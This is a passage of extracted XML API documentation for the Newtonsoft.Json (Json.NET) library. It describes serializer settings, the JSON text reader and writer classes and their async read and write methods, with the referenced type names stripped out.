referencing itself) is handled. The default value is . Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Gets or sets how null values are handled during serialization and deserialization. The default value is . Gets or sets how default values are handled during serialization and deserialization. The default value is . Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets a collection that will be used during serialization. Collection that will be used during serialization. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the culture used when reading JSON. The default value is . Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. The default value is false. true if there will be a check for additional JSON content after deserializing an object; otherwise, false. Initializes a new instance of the class. Creates a new instance. The will not use default settings from . A new instance. The will not use default settings from . Creates a new instance using the specified . The will not use default settings from . The settings to be applied to the . A new instance using the specified . The will not use default settings from . Creates a new instance. The will use default settings from . A new instance. The will use default settings from . Creates a new instance using the specified . The will use default settings from as well as the specified . The settings to be applied to the . A new instance using the specified . The will use default settings from as well as the specified . Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Populates the JSON values onto the target object. The that contains the JSON structure to read values from. The target object to populate values onto. Deserializes the JSON structure contained by the specified . The that contains the JSON structure to deserialize. The being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The type of the object to deserialize. The instance of being deserialized. Deserializes the JSON structure contained by the specified into an instance of the specified type. The containing the object. The of object being deserialized. The instance of being deserialized. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. The type of the value being serialized. This parameter is used when is Auto to write out the type name if the type of the value does not match. Specifying the type is optional. Serializes the specified and writes the JSON structure using the specified . The used to write the JSON structure. The to serialize. Specifies the settings on a object. Gets or sets how reference loops (e.g. a class referencing itself) are handled. The default value is . Reference loop handling. Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. The default value is . Missing member handling. Gets or sets how objects are created during deserialization. The default value is . The object creation handling. Gets or sets how null values are handled during serialization and deserialization. The default value is . Null value handling. Gets or sets how default values are handled during serialization and deserialization. The default value is . The default value handling. Gets or sets a collection that will be used during serialization. The converters. Gets or sets how object references are preserved by the serializer. The default value is . The preserve references handling. Gets or sets how type name writing and reading is handled by the serializer. The default value is . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . The type name handling. Gets or sets how metadata properties are used during deserialization. The default value is . The metadata properties handling. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how a type name assembly is written and resolved by the serializer. The default value is . The type name assembly format. Gets or sets how constructors are used during deserialization. The default value is . The constructor handling. Gets or sets the contract resolver used by the serializer when serializing .NET objects to JSON and vice versa. The contract resolver. Gets or sets the equality comparer used by the serializer when comparing references. The equality comparer. Gets or sets the used by the serializer when resolving references. The reference resolver. Gets or sets a function that creates the used by the serializer when resolving references. A function that creates the used by the serializer when resolving references. Gets or sets the used by the serializer when writing trace messages. The trace writer. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the used by the serializer when resolving type names. The binder. Gets or sets the error handler called during serialization and deserialization. The error handler called during serialization and deserialization. Gets or sets the used by the serializer when invoking serialization callback methods. The context. Gets or sets how and values are formatted when writing JSON text, and the expected date format when reading JSON text. The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . A null value means there is no maximum. The default value is 128. Indicates how JSON text output is formatted. The default value is . Gets or sets how dates are written to JSON text. The default value is . Gets or sets how time zones are handled during serialization and deserialization. The default value is . Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. The default value is . Gets or sets how special floating point numbers, e.g. , and , are written as JSON. The default value is . Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. The default value is . Gets or sets how strings are escaped when writing JSON text. The default value is . Gets or sets the culture used when reading JSON. The default value is . Gets a value indicating whether there will be a check for additional content after deserializing an object. The default value is false. true if there will be a check for additional content after deserializing an object; otherwise, false. Initializes a new instance of the class. Represents a reader that provides fast, non-cached, forward-only access to JSON text data. Asynchronously reads the next JSON token from the source. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns true if the next token was read successfully; false if there are no more tokens to read. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a []. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the []. This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a of . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the of . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously reads the next JSON token from the source as a . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous read. The property returns the . This result will be null at the end of an array. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Initializes a new instance of the class with the specified . The containing the JSON data to read. Gets or sets the reader's property name table. Gets or sets the reader's character buffer pool. Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Changes the reader's state to . If is set to true, the underlying is also closed. Gets a value indicating whether the class can return line information. true if and can be provided; otherwise, false. Gets the current line number. The current line number or 0 if no line information is available (for example, returns false). Gets the current line position. The current line position or 0 if no line information is available (for example, returns false). Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes an undefined value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the given white space. The string of white space characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. Derived classes must override this method to get asynchronous behaviour. Otherwise it will execute synchronously, returning an already-completed task. Gets or sets the writer's character array pool. Gets or sets how many s to write for each level in the hierarchy when is set to . Gets or sets which character to use to quote attribute values. Gets or sets which character to use for indenting when is set to . Gets or sets a value indicating whether object names will be surrounded with quotes. Initializes a new instance of the class using the specified . The to write to. Flushes whatever is in the buffer to the underlying and also flushes the underlying . Closes this writer. If is set to true, the underlying is also closed. If is set to true, the JSON is auto-completed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the specified end token. The end token to write. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes the property name of a name/value pair on a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. Writes indent characters. Writes the JSON value delimiter. Writes an indent space. Writes a value. An error will raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a of value. The of value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes the given white space. The string of white space characters. Specifies the type of JSON token. This is returned by the if a read method has not been called. An object start token. An array start token. A constructor start token. An object property name. A comment. Raw JSON. An integer. A float. A string. A boolean. A null token. An undefined token. An object end token. An array end token. A constructor end token. A Date. Byte data. Represents a reader that provides validation. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Sets an event handler for receiving schema validation errors. Gets the text value of the current JSON token. Gets the depth of the current token in the JSON document. The depth of the current token in the JSON document. Gets the path of the current JSON token. Gets the quotation mark character used to enclose the value of a string. Gets the type of the current JSON token. Gets the .NET type for the current JSON token. Initializes a new instance of the class that validates the content returned from the given . The to read from while validating. Gets or sets the schema. The schema. Gets the used to construct this . The specified in the constructor. Changes the reader's state to . If is set to true, the underlying is also closed. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a []. A [] or null if the next JSON token is null. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying as a . A . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . This method will return null at the end of an array. Reads the next JSON token from the underlying as a of . A of . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Asynchronously closes this writer. If is set to true, the destination is also closed. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the specified end token. The end token to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes indent characters. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the JSON value delimiter. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes an indent space. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON without changing the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of the current JSON object or array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of an array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the end of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a null value. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the property name of a name/value pair of a JSON object. The name of the property. A flag to indicate whether the text should be escaped when it is written as a JSON property name. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON array. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a comment /*...*/ containing the specified text. Text to place inside the comment. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes raw JSON where a value is expected and updates the writer's state. The raw JSON to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the start of a constructor with the given name. The name of the constructor. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the beginning of a JSON object. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the current token. The to read the token from. A flag indicating whether the current token's children should be written. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes the token and its value. The to write. The value to write. A value is only required for tokens that have an associated value, e.g. the property name for . null can be passed to the method for tokens that don't have a value, e.g. . The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a [] value. The [] value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a value. The value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous operation. The default behaviour is to execute synchronously, returning an already-completed task. Derived classes can override this behaviour for true asynchronicity. Asynchronously writes a of value. The of value to write. The token to monitor for cancellation requests. The default value is . A that represents the asynchronous 